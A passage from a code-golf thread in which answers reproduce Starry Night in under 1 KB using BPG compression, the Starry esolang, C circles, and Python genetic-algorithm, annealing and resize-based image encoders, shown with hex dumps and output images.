0000260: a3be 781b 150a 7b82 9f0b 0a14 17b7 ade1 ..x...{......... 0000270: 687a c84f 5a2f 88d1 a141 76fe bf7b c220 hz.OZ/...Av..{. 0000280: 6189 8424 d7e3 3595 882f 1ec9 a363 3501 a..$..5../...c5. 0000290: 3056 f6f9 dced 2b37 733b 8659 f5e9 93f9 0V....+7s;.Y.... 00002a0: fa5b 419a cb78 e0ef d7b4 1e83 7fce 4383 .[A..x........C. 00002b0: 7eee 10af 2baa 1445 eb06 d75c 4220 53f9 ~...+..E...\B S. 00002c0: 34fd 76c0 2117 f916 f3b7 f599 0977 2562 4.v.!........w%b 00002d0: 085d a2d4 74c1 2e6c 0a21 5ccf 6a9f c045 .]..t..l.!\.j..E 00002e0: 91e0 de66 29af de27 af2b f673 8cb5 b2ea ...f)..'.+.s.... 00002f0: b070 31fd b81f 8db1 8e25 3243 31a0 ca08 .p1......%2C1... 0000300: e801 e4b6 df72 4029 16b2 a712 7ee4 c2e6 .....r@)....~... 0000310: acaa f84c d17d 3d46 65d5 8226 bd65 da45 ...L.}=Fe..&.e.E 0000320: 3cac 95d8 ed0e 1153 7587 09ec d745 4f50 <......Su....EOP 0000330: ba4c 314b 4ac3 b6b7 4964 1ee8 e321 c029 .L1KJ...Id...!.) 0000340: 7ae2 4630 fe05 ddd1 f68e 5646 857d e8fb z.F0......VF.}.. 0000350: 601e 453f e53e fe0d 0c5e 5da6 4a03 f6d9 `.E?.>...^].J... 0000360: c59b 0b7f b2de f354 21bb c0c5 8bb9 dfa1 .......T!....... 0000370: f3e5 76a7 bbce 175e cc27 125f dd9b adc2 ..v....^.'._.... 0000380: cd79 d2c0 43f1 6df4 203a d3c4 9b25 7fea .y..C.m. :...%.. 0000390: 1905 7620 01bf a477 8c0e 9145 1d30 86d5 ..v ...w...E.0.. 00003a0: 598d 7f40 ad72 603e c90f 5a62 db09 1161 [[email protected]](/cdn-cgi/l/email-protection)`>..Zb...a 00003b0: a36d bbfc 020a 9835 7fc7 a468 4c36 5120 .m.....5...hL6Q 00003c0: 01fc 705e 64d4 4e62 3c52 48a5 42fb 6361 ..p^d.Nb<RH.B.ca 00003d0: 2496 21ff 321b 2b7b 3016 7a56 1ea6 18f9 $.!.2.+{0.zV.... 00003e0: e52f 318a 80cb 237c f3c8 a46c b747 794e ./1...#|...l.GyN 00003f0: e8c1 77c2 7eb3 ef5b 60fb ad03 a4e6 ee40 ..w.~..[`......@ ``` The resulting file is `out.png` (the `bpgdec` default location), which looks like this: [![starry night approximation from bpgdec](https://i.stack.imgur.com/mYOuy.png)](https://i.stack.imgur.com/mYOuy.png) I find it rather amazing that `bpg`, in a mere 996 bytes, has accurately reconstructed the sharp contours of the tree, on the left, and the hills on the right. It even has a passable approximation for the church steeple! The level of detail is very impressive (to me) for the small filesize. Of course, `bpgdec` itself is not a small program, but it's clear to me that BPG is an order of magnitude better than JPEG for image compression. Because this uses `bpgdec`, this answer is obviously not eligible for the bounty. --- EDITED: Added `-n` argument to `tail` to make it compatible with GNU `tail`. [Answer] # [Starry](https://esolangs.org/wiki/Starry), ~~11428.1894502~~ ~~10904.3079277~~ 10874.1307958 Starry might not be the best language to do this however it is certainly the most fitting. You can [Try It online](http://starry.tryitonline.net/#code=ICAgICAgICAgICsgKyogKyogKyogKyogLiAgICAgICAgKy4gICAgICAgICAgKyArKiArIC4gICAgICAgICsgKyArLiAgICAgICAgICArKi4gKyouICsgLiArICsqICsqICsqICsqICsqLiArIC4gICAgICArICsgKyogKyogKyogKyogKyogKyogKyogKyogICsgKi4gKyAuCiArICAgICAgICAgKyArKiArKiArKiArKiAgICAgICAgKyAgKiAgICAgICsqICsqICsqICsqICAqICsgICArIGAgICsgICAgICAgICArICsgICAgICAgICsqLi4gKyAuICsgKyArKiogKyArKiouICsgLiAgICAgICsgKyArICsgKy4qLiouICsgLiAgKyAgICAgICsgKiArICcnCiAgKyArICAgKyAgYCAgKyAgICAgICArICsgKyArKiouICsqICsqLiArIC4gICAgICAgICAgKyArICAgICAgICArKi4uICsgLiAgICAgICAgICsgKyogKyogKyogKyogKyouICsgLiAgKyAgICAgICsgKiArICAnJwogICsgKyAgICsgICBgICArICsgKyArKiogKyArKiouICsgLiAgICAgICsgKyArICsuLiouICsgLiAgICAgICsgKyArLiArKiArKi4uICsgLiAgKyAgICAgICsgKiArICAgJycKICArICsgICArICAgIGAgICsgICAgICAgKyArICsqICsqLiArICsqKi4gKyAuICsgKyAgKiAgICAgICAgICsgKyoqLiArIC4gICAgICArICsgKy4gKyArKiouICsqLiArIC4gICsgICAgICArICogKyAgICAnJwogICsgKyAgICsgICAgIGAgICsgKyArICAqICAgICAgICArICsgICogKi4gKyAuICAgICAgKyArICsuLi4gKyAuICAgICAgICAgKyArKiArKiArKiArKiArKiAgICAgICsgKi4gKyAuICArICAgICAgKyAqICsgICAgICcnCiAgKyArICAgKyAgICAgIGAgICsgICAgICAgICAgICArICsuLiArIC4gICAgICAgICAgKyArICAgICAgICAgKyouLiArIC4gKyArICsgICoqICAgICAgKyAqLiArIC4gICsgICAgICArICogKyAgICAgICcnCiAgKyArICAgKyArKiAgICAgICBgICArICAgICAgICAgKyArICsuLiAgKyArIC4gICsgKyArICsuKi4gICsgKyAuICArICsgKy4qLiArIC4gICsgICAgICArICogKyAgICAgICAnJwo&input=) however it seems that the output is truncated so you will not get the full image. This program outputs an uncompressed ppm files to standard out. ``` + +* +* +* +* . +. + +* + . + + +. +*. +*. + . + +* +* +* +* +*. + . + + +* +* +* +* +* +* +* +* + *. + . + + +* +* +* +* + * +* +* +* +* * + + ` + + + +*.. + . + + +** + +**. + . + + + + +.*.*. + . + + * + '' + + + ` + + + + +**. +* +*. + . + + +*.. + . + +* +* +* +* +*. + . + + * + '' + + + ` + + + +** + +**. + . + + + +..*. + . + + +. +* +*.. + . + + * + '' + + + ` + + + +* +*. + +**. + . + + * + +**. + . + + +. + +**. +*. + . + + * + '' + + + ` + + + * + + * *. + . + + +... + . + +* +* +* +* +* + *. + . + + * + '' + + + ` + + +.. + . + + +*.. + . + + + ** + *. + . + + * + '' + + + +* ` + + + +.. + + . + + + +.*. + + . + + +.*. + . + + * + '' ``` Here is the program output: [![enter image description here](https://i.stack.imgur.com/fqzqZ.png)](https://i.stack.imgur.com/fqzqZ.png) ## Explanation In order to make the program output all 123,520 pixels required I divided the image into 8 horizontal bands and created 7 loops the first 6 each print a band while the last one prints two bands of the same color. The code consists of a header, which tells the ppm file how to format itself and the 7 aforementioned loops. [Answer] # C, 6641 999 bytes, using only `stdio.h` and `math.h`. I made a filled-circle function `d()` that draws concentric RGB colored circles over radius values r..0. 21 circles are used here. I could squeeze in a few more if I stripped out more whitespace, but I like the relative readability as it stands. I figured out rough circle placement using Gimp layers in `Difference` mode. Look for the bright spots, add a circle, repeat. Used `Histogram` tool on selection to determine initial colors to use. I got a score of around 7700 using the above, but figured I could do better by tweaking the color and radius values, so I wrote some scaffolding code to brute-force optimize each value by modifying it -10..+10, re-rendering, running the validator (which I rewrote in C for speed), and saving the value that produced the lowest score. At the end it dumps the value array, which I paste it back into the code and recompile. I ran a few passes, and it brought the score down by about 1000. Then I stripped out the scaffolding code. [![69930 image using circles](https://i.stack.imgur.com/1Q0A3.png)](https://i.stack.imgur.com/1Q0A3.png) [![enter image description here](https://i.stack.imgur.com/iYBeA.png)](https://i.stack.imgur.com/iYBeA.png) Code, ``` #include <stdio.h> #include <math.h> #define W 386 #define H 320 #define SZ (W*H) unsigned char I[SZ*3]; void d(int R,int G,int B,int x,int y,int r) {while (r) { float p; for (p=0;p<6.3;p+=(1/(6.3*r))) { int xo=r*cos(p); int idx=x+xo+floor(y+r*sin(p))*W; if ((x+xo<W)&&idx>0&&idx<SZ){I[idx*3]=R;I[idx*3+1]=G;I[idx*3+2]=B;} }r-=1; }} int v[] = { 91,116,143,183,150,356, 52,70,125,48,36,51, 60,77,124,165,-236,303, 159,168,159,129,171,24, 115,132,131,29,14,19, 129,133,90,80,56,14, 157,171,136,352,54,41, 184,161,46,353,57,22, 183,184,119,360,52,15, 90,113,146,183,108,59, 141,158,154,373,224,96, 41,46,62,379,219,56, 51,62,77,352,1400,1204, 62,76,96,354,269,73, 51,62,79,236,271,70, 33,37,35,95,274,65, 36,43,44,68,191,29, 42,50,51,66,142,23, 40,46,44,66,110,11, 40,46,44,68,91,5, 111,128,123,231,30,18, }; int main(){ int i;for(i=0;i<(21*6);i+=6){d(v[i],v[i+1],v[i+2],v[i+3],v[i+4],v[i+5]);} FILE *f=fopen("o.ppm","wb");fprintf(f,"P6\n386 320\n255\n");fwrite(I,sizeof(I),1,f);fclose(f); return(0);} ``` [Answer] # Python 2, 5238.59 points It is probably time to post my own answer. Here's the image [![enter image description here](https://i.stack.imgur.com/s7o1m.png)](https://i.stack.imgur.com/s7o1m.png) The code looks like this ``` import Image,ImageDraw as D m=Image.new("RGB",(386,320),"#4b5b6e") d=D.Draw(m,"RGBA") s="[string containing unprintable characters]" for i in range(95): x,y,w,h,r,g,b,a=[ord(c)-9for c in s[i::95]] x,y=3*x,3*y d.ellipse([x-w,y-h,x+w,y+h],fill=(2*r,2*g,2*b,2*a)) m.save("a.png") ``` Or as a hex dump: ``` 0000000: 696d 706f 7274 2049 6d61 6765 2c49 6d61 import Image,Ima 0000010: 6765 4472 6177 2061 7320 440a 6d3d 496d geDraw as D.m=Im 0000020: 6167 652e 6e65 7728 2252 4742 222c 2833 age.new("RGB",(3 0000030: 3836 2c33 3230 292c 2223 3462 3562 3665 86,320),"#4b5b6e 0000040: 2229 0a64 3d44 2e44 7261 7728 6d2c 2252 ").d=D.Draw(m,"R 0000050: 4742 4122 290a 733d 2228 356e 5220 1c5e GBA").s="(5nR .^ 0000060: 2c7e 451a 7f42 0f4b 261d 5f56 265f 333a ,~E..B.K&._V&_3: 0000070: 391e 1652 4812 7b79 1b7b 547b 7a58 4f47 9..RH.{y.{T{zXOG 0000080: 1e28 767f 4b1e 344d 244c 7e7e 677e 1a3d .(v.K.4M$L~~g~.= 0000090: 6355 6968 103a 581e 367d 7e2b 552f 7524 cUih.:X.6}~+U/u$ 00000a0: 0e0e 706d 6765 551f 7f2f 616b 6533 4a16 ..pmgeU../ake3J. 00000b0: 7272 7e13 421f 157f 674f 231e 6311 2b1b rr~.B...gO#.c.+. 00000c0: 5d2e 7353 1425 5b5b 2f11 130f 1146 1166 ].sS.%[[/....F.f 00000d0: 3370 1c43 1339 260e 7f15 1c37 773d 4243 3p.C.9&....7w=BC 00000e0: 6921 1642 721f 5a1b 5a38 5727 1b1c 692d i!.Br.Z.Z8W'..i- 00000f0: 6028 324f 7f19 4430 7254 6942 1726 5520 `(2O..D0rTiB.&U 0000100: 1b1a 5441 6037 4651 5948 0e1c 4a4a 202f ..TA`7FQYH..JJ / 0000110: 2c5a 2d68 4b76 5e35 2320 5b6e 1762 2e78 ,Z-hKv^5# [n.b.x 0000120: 727d 385b 7747 2c17 4f1e 5529 354d 763d r}8[wG,.O.U)5Mv= 0000130: 504e 4f60 485b 1063 6028 4c58 7473 1d31 PNO`H[.c`(LXts.1 0000140: 543d 364e 494c 1721 6358 3a1f 577f 3f5b T=6NIL.!cX:.W.?[ 0000150: 6452 5a60 3a1a 444e 604f 207a 3d29 357f dRZ`:.DN`O z=)5. 0000160: 6e75 3946 5b1b 233f 444b 3121 4f20 455b nu9F[.#?DK1!O E[ 0000170: 7f28 6c1d 6655 581d 6415 493d 1e7a 3574 .(l.fUX.d.I=.z5t 0000180: 5b1e 2f34 7e66 7f34 1817 4b2a 2446 624f [./4~f.4..K*$FbO 0000190: 4162 431e 4d2e 657f 2826 2c3d 2e53 6224 AbC.M.e.(&,=.Sb$ 00001a0: 1f1d 363d 2b16 3f1e 107d 3421 354f 1873 ..6=+.?..}4!5O.s 00001b0: 5421 7f15 6b62 3c18 523e 1971 5333 273c T!..kb<.R>.qS3'< 00001c0: 311d 7347 681c 1713 294c 3d11 6b21 235d 1.sGh...)L=.k!#] 00001d0: 7e49 6212 3d1a 2923 450e 0f50 1936 5114 ~Ib.=.)#E..P.6Q. 00001e0: 3753 5217 1211 0e7a 7f33 7e15 190e 1a0f 7SR....z.3~..... 00001f0: 3a0e 5a6c 1721 1863 623b 5853 1715 7268 :.Zl.!.cb;XS..rh 0000200: 117b 4c24 793f 6929 3c7b 1020 1f2b 4253 .{L$y?i)<{. .+BS 0000210: 4e10 0e0e 1720 3020 0e0e 5613 270f 4c2e N.... 0 ..V.'.L. 0000220: 630f 3229 420e 561a 0e64 547b 2825 0f44 c.2)B.V..dT{(%.D 0000230: 1f19 7e71 1f3f 3054 0e21 4a38 4556 2044 ..~q.?0T.!J8EV D 0000240: 5761 181e 110e 7e7f 2178 211a 0f11 0f41 Wa....~.!x!....A 0000250: 0e66 6d23 272a 5563 3b50 6e13 167b 6f2b .fm#'*Uc;Pn..{o+ 0000260: 6550 3477 5571 2e50 650e 292b 2055 5d62 eP4wUq.Pe.)+ U]b 0000270: 1425 0f33 1e40 1b11 0e5d 1134 105b 3566 .%.3.@...].4.[5f 0000280: 1242 0e4b 0e5f 2818 685f 753c 3d0e 571c .B.K._(.h_u<=.W. 0000290: 1e73 7b13 5045 5730 4673 6252 5510 7952 .s{.PEW0FsbRU.yR 00002a0: 6e30 4d0e 3949 4c0f 5b44 1620 1753 7e2a n0M.9IL.[D. .S~* 00002b0: 7a54 512a 4f0e 6031 5d70 0f16 525e 4c4e zTQ*O.`1]p..R^LN 00002c0: 534a 1443 5e13 6311 361a 4f10 5a60 6e0f SJ.C^.c.6.O.Z`n. 00002d0: 3e19 4b2c 5e1d 2d43 5b1d 5441 5f4e 5221 >.K,^.-C[.TA_NR! 00002e0: 520f 6719 5657 5851 3d51 5463 0e60 1912 R.g.VWXQ=QTc.`.. 00002f0: 5162 727f 4d70 4c4f 7f1f 5233 4d4c 7d6d Qbr.MpLO..R3ML}m 0000300: 574f 7f3c 4f4d 4e68 6f7d 3950 513a 695e WO.<OMNho}9PQ:i^ 0000310: 547f 7e2e 7f4c 517a 3a54 6f40 5f6f 3457 T.~..LQz:To@_o4W 0000320: 656d 307f 5e7e 564a 5a7a 3060 7b5b 5d45 em0.^~VJZz0`{[]E 0000330: 7374 4076 786d 7e6d 7f6d 2f62 5373 7e75 st@vxm~m.m/bSs~u 0000340: 607f 767e 7d35 7e4f 767e 7a7f 7b4c 7f7f `.v~}5~Ov~z.{L.. 0000350: 1d22 0a66 6f72 2069 2069 6e20 7261 6e67 .".for i in rang 0000360: 6528 3935 293a 0a09 782c 792c 772c 682c e(95):..x,y,w,h, 0000370: 722c 672c 622c 613d 5b6f 7264 2863 292d r,g,b,a=[ord(c)- 0000380: 3966 6f72 2063 2069 6e20 735b 693a 3a39 9for c in s[i::9 0000390: 355d 5d0a 0978 2c79 3d33 2a78 2c33 2a79 5]]..x,y=3*x,3*y 00003a0: 0a09 642e 656c 6c69 7073 6528 5b78 2d77 ..d.ellipse([x-w 00003b0: 2c79 2d68 2c78 2b77 2c79 2b68 5d2c 6669 ,y-h,x+w,y+h],fi 00003c0: 6c6c 3d28 322a 722c 322a 672c 322a 622c ll=(2*r,2*g,2*b, 00003d0: 322a 6129 290a 6d2e 7361 7665 2822 612e 2*a)).m.save("a. 00003e0: 706e 6722 29 png") ``` It simply unpacks that long string into the parameters for drawing 95 translucent ellipses. Like many of the other answers, the code is generated using a genetic algorithm. It uses a particular type of genetic algorithm that I invented, which I call a "gene pool algorithm", though it's entirely possible that someone else has also invented it and given it a different name. Instead of having a population of individuals, we have 95 "gene pools", one for each gene. Each gene pool contains 10000 different versions of the gene. A gene contains the parameters for one ellipse (position, shape, colour, alpha and its place in the z order). On each iteration we create two pictures by selecting one gene from each of the 95 pools, and the genes from the lowest-scoring picture replace the genes from the worst-scoring picture, with a little mutation. I ran it until around the 378000th iteration, which took a couple of days. At that point the score was still going down, but really really slowly, so I doubt it will get much better than this without some changes to the algorithm. Here's the genetic algorithm code: ``` import Image,ImageDraw as D import random import shutil # note that the below constants have to match "magic numbers" in the rendering code # that gets output. gene_length = 8 n_genes = 95 pool_size = 10000 =import numpy as np orig = Image.open("ORIGINAL.png") orig = orig.convert("RGB") orig_pix = orig.load() def new_pool(): g = np.random.random((pool_size, gene_length+1)) for i in range(pool_size): x = (ord(encode_char(g[i,0]))-9)*3 x = np.clip(x,0,387) y = (ord(encode_char(g[i,1]))-9)*3 y = np.clip(y,0,319) R, G, B = orig_pix[x,y] g[i,4] = R/255. g[i,5] = G/255. g[i,6] = B/255. return g def mutate_genome(g): def mutations(): return np.random.standard_cauchy(g.shape[0])/50000. if np.random.random()<0.1: return g g[:,4] += mutations() # r g[:,5] += mutations() # g g[:,6] += mutations() # b g[:,7] += mutations() # a g[:,8] += mutations() # z order # this business is about having mutations that change the left, right, top and # bottom of the rectangle, rather than its centre position and size. L = g[:,0]*3-g[:,2] + mutations() R = g[:,0]*3+g[:,2] + mutations() T = g[:,1]*3-g[:,3] + mutations() B = g[:,1]*3+g[:,3] + mutations() g[:,0] = (L+R)/6 # x g[:,1] = (T+B)/6 # y g[:,2] = (R-L)/2 # w g[:,3] = (B-T)/2 # h if np.random.random()<0.15: i = np.random.randint(0,n_genes) # if np.random.random()<0.5: g[i,:] = np.random.random(gene_length+1) x = (ord(encode_char(g[i,0]))-9)*3 x = np.clip(x,0,387) y = (ord(encode_char(g[i,1]))-9)*3 y = np.clip(y,0,319) R, G, B = orig_pix[x,y] g[i,4] = R/255. g[i,5] = G/255. g[i,6] = B/255. # the Cauchy distribution is heavy-tailed, so this mostly causes very small changes # (less than one character), but it can cause very large ones g = np.clip(g,0,1) return g def encode_char(a): n = int(round(a*113))+14 if n==ord('"'): n=ord('"')-1 if n==ord('\\'): n=ord('\\')-1 return chr(n) def encode_genome(g): # this reorders the genome such that gene i can be accessed with g[i::n_genes] # (for golfing purposes in the output code) and makes it a string output = [0]*(n_genes*gene_length) for i in range(n_genes): for j in range(gene_length): output[j*n_genes+i] = encode_char(g[i,j]) output = ''.join(output) return output def fitness(genome, save_filename=None): # actually inverse fitness (lower is better) order = np.argsort(genome[:,8]) genome = genome[order,:] s = encode_genome(genome) # this is the same image drawing code that appears in the final program m=Image.new("RGB",(386,320),"#4b5b6e") d=D.Draw(m,"RGBA") for i in range(n_genes): x,y,w,h,r,g,b,a=[ord(c)-9for c in s[i::n_genes]] x,y=3*x,3*y d.ellipse([x-w,y-h,x+w,y+h],fill=(2*r,2*g,2*b,a)) # this is the same code that appears in the scoring/validation script: img = m if img.size != orig.size: print "NOT VALID: image dimensions do not match the original" exit() w, h = img.size img_pix = img.load() score = 0.0 for x in range(w): for y in range(h): orig_r, orig_g, orig_b = orig_pix[x,y] img_r, img_g, img_b = img_pix[x,y] score += pow((img_r-orig_r)/255.,2) score += pow((img_g-orig_g)/255.,2) score += pow((img_b-orig_b)/255.,2) if save_filename: img.save(save_filename) return score # hex escape function from http://stackoverflow.com/a/13935582/1119340 import string printable = string.ascii_letters + string.digits + string.punctuation + ' ' def hex_escape(s): return ''.join(c if c in printable else r'\x{0:02x}'.format(ord(c)) for c in s) def make_full_program(genome): source = '''import Image,ImageDraw as D m=Image.new("RGB",(386,320),"#4b5b6e") d=D.Draw(m,"RGBA") s="''' source += encode_genome(genome) source += '''" for i in range(95): x,y,w,h,r,g,b,a=[ord(c)-9for c in s[i::95]] x,y=3*x,3*y d.ellipse([x-w,y-h,x+w,y+h],fill=(2*r,2*g,2*b,2*a)) m.save("a.png")''' return source # the genetic algorithm code begins here pool = [new_pool() for i in range(n_genes)] best_fitness = 10000000 iteration = 0 fittest_genome = None while (True): print iteration for iter in range(1000): samples = np.random.choice(pool_size, n_genes), np.random.choice(pool_size, n_genes) genomes = [0,0] for k in [0,1]: genome = np.zeros((n_genes, gene_length+1)) for i in range(n_genes): if np.random.random()<0.00002: # very occasionally, draw from the "wrong" pool, so that genes can # be copied across pools genome[i,:] = pool[np.random.randint(0,n_genes)][samples[k][i],:] else: genome[i,:] = pool[i][samples[k][i],:] genomes[k] = mutate_genome(genome) fitnesses = fitness(genomes[0]), fitness(genomes[1]) if fitnesses[0]<fitnesses[1]: winner = 0 loser = 1 else: winner = 1 loser = 0 new_fitness = fitnesses[winner] new_genome = genomes[winner] for i in range(n_genes): pool[i][samples[loser],:] = new_genome[i,:] if new_fitness<best_fitness: print iteration, new_fitness best_fitness = new_fitness # this is just so you can watch the algorithm at work fitness(genomes[winner], "best_so_far.png") best_genome = genomes[winner].copy() with open("best_so_far.py",'w') as file: file.write(make_full_program(genomes[winner])) if iteration%100==0: # this is just so you can watch the algorithm at work new_fitness = fitness(genomes[winner],"latest.png") if iteration%1000==0: shutil.copy("best_so_far.png", "frames/" + str(iteration) + ".png") iteration += 1 ``` Finally, [here is an animation](https://i.stack.imgur.com/oQAAb.jpg), showing the algorithm at work. It shows the best image generated so far after every 1000 iterations. (The gif file was much too large to embed in this post.) It can probably be improved by (1) using nneonneo's encoding trick to cram more data into the string; (2) adding a Gaussian blur to the end of the rendering code (but that will make it slower) and (3) improving the algorithm still further. At the moment it reaches a decent score very quickly but then changes really slowly after that - if I slow down the initial convergence somehow, it might find a better result in the end. Perhaps I will implement these things at some point. [Answer] ## Python 3, score 5390.25, 998 bytes I used a simulated annealing program to fit rectangles into the shape of Starry Night. Then it uses a Gaussian blur to smooth out the straight rectangular edges. To save some bytes, I compressed the rectangle data into base 94. ``` from PIL import Image as I,ImageDraw as D,ImageFilter as F def V(n,f,t): z=0;s='';d='''0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!@#$%^&*()_-+={[}]|:;"',<.>/?`~ ''' for i in n:z=z*f+d.index(i) while z:z,m=divmod(z,t);s=d[m]+s return s i=I.new('RGB',(386,320)) K=V("""12XsPc/p^m(:,enp:SN8brwj%!iChDHKj"*445Z.;/8Xj408fV9a7:v$N#cj_WNW7p#t9:](i?S!}yg*D4u$RfpU=}=@Ft^v7$N5O?8eeN%.bT:Q>+AOd3E*R/1PXq.IO,ur3h<`dS)V;e/lj6q'p4s|m>fkk<!jx`EGU~38(0h!(I6P.<[G;m_c^x{kE^hYQUV9kIiS'T:GDRQz -ISW6@cLKz4!e&8LT]kH3'Hj=Zl]rEOyrXlmfG51.K1(5l{:GPb1PL5%.gMmLy;pU3h+zDxpSn@)nJ*#'EOt=Pt.t9z,;D.[r|Prpeu=0%WN+A~KSb(E:gd%o2QfB_K-!xLAN+jXicd**bk'WDq,ue&z]Rb>;DBCFif{zJEDfx3FKqB*?2Qti:(pYSa-uZU,M!^N =bRbZ`}j}P-u-n>lGH|pv>#r"}Eg&c6J&fi.IC@2:L""",94,10)[1:] e=D.Draw(i) for X in range(0,len(K),21): y=K[X:X+21];x=[] for z in range(0,21,3):x+=[int(y[z:z+3])] e.rectangle((x[0],x[1],x[2],x[3]),(x[4],x[5],x[6])) i=i.filter(F.GaussianBlur(radius=5)) i.save('2.png') ``` [![enter image description here](https://i.stack.imgur.com/xT5Jg.png)](https://i.stack.imgur.com/xT5Jg.png) [Answer] # Python 2, ~~5098.24~~ ~~5080.04~~ ~~4869.15~~ ~~4852.87~~ 4755.88589004 No built-in decompression used! Just PIL's resize utility and a manually-decoded 16-color image. Therefore it should be eligible for the bounty. The program contains embedded non-ASCII chars. It is 1024 bytes long and looks like this: ``` from PIL.Image import* frombuffer('RGB',(40,41),''.join(')9„ ˜§˜ qˆš Vn• 8OŠ Ql‘ §§g ¶¤4 w‡v M]j 8FR AG8 )4V ! 7Jr ).0'.split()[int(c,16)]for c in'»«»ÝýÝßÝßûûÿ¿úª»ÿÿÿºÿûÿÝÝÝÝÝݺÿýÿú™¬ÏÌÿÿû»ýÝÝÝÝÝÝÿÿû»¿üüÌê­ÿÿ¿ÝÝÝÝÝÝÝÿªûÿýʬ©ú»ú¯«ÝÝÝÝÝýÿÿúÿýÝ߯™ú©®üªÝÝÝÝÝÝÿûÚ¬ýÿÿ«ÿÿÌϺÏÝÝÝÝÝßÿû¹¬¯ÿʯÿšüÌÿÌßßÝÝÝßÌúª¯Î¬ÏüΙš™üÌßÝÝÝÝÿί̮îªÿÊîåššÿÿýÝÝÝÝüÿ©®™žª©™ž™™™þLÏÝÝÝÝÿüž®ìî©©™™•U?ÝÝýßìÌÌäîÌäéîž•™©C3=ÝßýþYÌåîîîÌDDDS3TS2Ýßý’5UU9îîÏþÎDS352Ýßù!5RUžÌÏÎÏÌã352ÝÚ©2†("U9™%žÏþUD!#­ÝÚã("&"""9¬Ïÿ’äíÝþ‘SS5!""ÿÿDDíÝþ‘3U4UR#2#­ÜDSÝó!^SEäS35Q+ÝE6oÝõ1N5DER32C)%VoÝù233#UR#"5!HÝÎU2#"3S3U32515SÝ®îE224äE%TR53!2"?ÿNÎE"%E3U2""523""9ÿ^Äå"4U3%S9US335Q"25ÿ#ã%S352"UNUU335U%S#ÿ"8eS233"^DUT5353S#2¯#3.ã233#DDC5S2"#2"2©###ÎU5S5US34S3^Å222.DE3E4X52fa4ÎNÄDS5"ES5R>!U!gwaTDNÉ•56““5"î6#SgwqDD@¦xDE224îS5SwfaDD\0ùiîUYYîîDäDSwÄD@þžîDîîîîãUÌî2gfÄDàüà@@Î8ˆìä3!fvå"PÌàäNI”Dî6hDîTQfÃf ÎîÄ(6„îàX…NND’#Ãf,ÉlĈ9î”îDîDDDTC#UÉ"œÉœä“NI•NìÎîäNUTTî'.encode('hex'))).resize((386,320),3).save('o.png') ``` and in hex: ``` 0000000: efbb bf66 726f 6d20 5049 4c2e 496d 6167 ...from PIL.Imag 0000010: 6520 696d 706f 7274 2a0a 6672 6f6d 6275 e import*.frombu 0000020: 6666 6572 2827 5247 4227 2c28 3430 2c34 ffer('RGB',(40,4 0000030: 3129 2c27 272e 6a6f 696e 2827 2939 8420 1),''.join(')9. 0000040: 98a7 9820 7188 9a20 566e 9520 384f 8a20 ... q.. Vn. 8O. 0000050: 516c 9120 a7a7 6720 b6a4 3420 7787 7620 Ql. ..g ..4 w.v 0000060: 4d5d 6a20 3846 5220 4147 3820 2934 5620 M]j 8FR AG8 )4V 0000070: 1d21 1e20 374a 7220 292e 3027 2e73 706c .!. 7Jr ).0'.spl 0000080: 6974 2829 5b69 6e74 2863 2c31 3629 5d66 it()[int(c,16)]f 0000090: 6f72 2063 2069 6e27 bbab bbdd fddd dfdd or c in'........ 00000a0: dffb fbff bffa aabb ffff ffba fffb ffdd ................ 00000b0: dddd dddd ddba fffd fffa 99ac cfcc ffff ................ 00000c0: fbbb fddd dddd dddd ddff fffb bbbf fcfc ................ 00000d0: ccea adff ffbf dddd dddd dddd ddff aafb ................ 00000e0: fffd caac a9fa bbfa afab dddd dddd ddfd ................ 00000f0: ffff faff fddd dfaf 99fa a9ae fcaa dddd ................ 0000100: dddd dddd fffb daac fdff ffab ffff cccf ................ 0000110: bacf dddd dddd dddf fffb b9ac afff caaf ................ 0000120: ff9a fccc ffcc dfdf dddd dddf ccfa aaaf ................ 0000130: ceac cffc ce99 9a99 fccc dfdd dddd ddff ................ 0000140: ceaf ccae eeaa ffca eee5 9a9a ffff fddd ................ 0000150: dddd ddfc ffa9 ae99 9eaa a999 9e99 9999 ................ 0000160: fe4c cfdd dddd ddff fc9e aeec eeee aaba .L.............. 0000170: a9a9 9999 9555 3fdd ddfd dfec cccc e4ee .....U?......... 0000180: cce4 e9ee 9e95 99a9 4333 3ddd dffd fe59 ........C3=....Y 0000190: cce5 eeee eecc 4444 4453 3354 5332 9ddd ......DDDS3TS2.. 00001a0: dffd 9235 5555 39ee eecf fece 4453 3335 ...5UU9.....DS35 00001b0: 3211 9ddd dff9 2113 3552 559e cccf cecf 2.....!.5RU..... 00001c0: cce3 3335 3212 9ddd daa9 3286 1228 2255 ..352.....2..("U 00001d0: 3999 259e cffe 5544 2123 addd dae3 1128 9.%...UD!#.....( 00001e0: 2226 2211 1212 2222 39ac cfff 92e4 eddd "&"...""9....... 00001f0: fe91 1112 5353 3521 2211 1111 221a ffff ....SS5!"..."... 0000200: 4444 eddd fe91 1111 3355 3455 5223 3211 DD......3U4UR#2. 0000210: 1123 addc 4453 9ddd f321 1611 5e53 45e4 .#..DS...!..^SE. 0000220: 5333 3551 1112 2bdd 4536 6fdd f531 1111 S35Q..+.E6o..1.. 0000230: 4e35 4445 5233 3243 1111 1129 2556 6fdd N5DER32C...)%Vo. 0000240: f932 1112 3333 2355 5223 2235 2111 1111 .2..33#UR#"5!... 0000250: 1348 8fdd ce55 3223 2233 5333 5533 3235 .H...U2#"3S3U325 0000260: 3111 1111 3553 9ddd aeee 4532 3234 e445 1...5S....E224.E 0000270: 2554 5235 3321 1111 3222 3fff 4ece 4522 %TR53!..2"?.N.E" 0000280: 2545 3355 3222 2235 3233 2211 1222 39ff %E3U2""523".."9. 0000290: 5ec4 e522 3455 3325 5339 5553 3333 3551 ^.."4U3%S9US335Q 00002a0: 2232 35ff 23e3 2553 3335 3222 554e 5555 "25.#.%S352"UNUU 00002b0: 3333 3555 2553 23ff 2238 6553 3233 3322 335U%S#."8eS233" 00002c0: 5e44 5554 3533 3533 5323 32af 2333 2ee3 ^DUT5353S#2.#3.. 00002d0: 3233 3323 4444 4335 5332 2223 3222 32a9 233#DDC5S2"#2"2. 00002e0: 2323 23ce 5535 5335 5553 3334 5311 1113 ###.U5S5US34S... 00002f0: 335e 04c5 3232 322e 4445 3345 3458 1235 3^..222.DE3E4X.5 0000300: 3266 6112 34ce 4ec4 4453 3522 4553 3552 2fa.4.N.DS5"ES5R 0000310: 3e21 1255 2167 7761 5444 4ec9 9505 3536 >!.U!gwaTDN...56 0000320: 9393 3522 ee36 2353 1167 7771 4444 40a6 ..5".6#S.gwqDD@. 0000330: 7844 4532 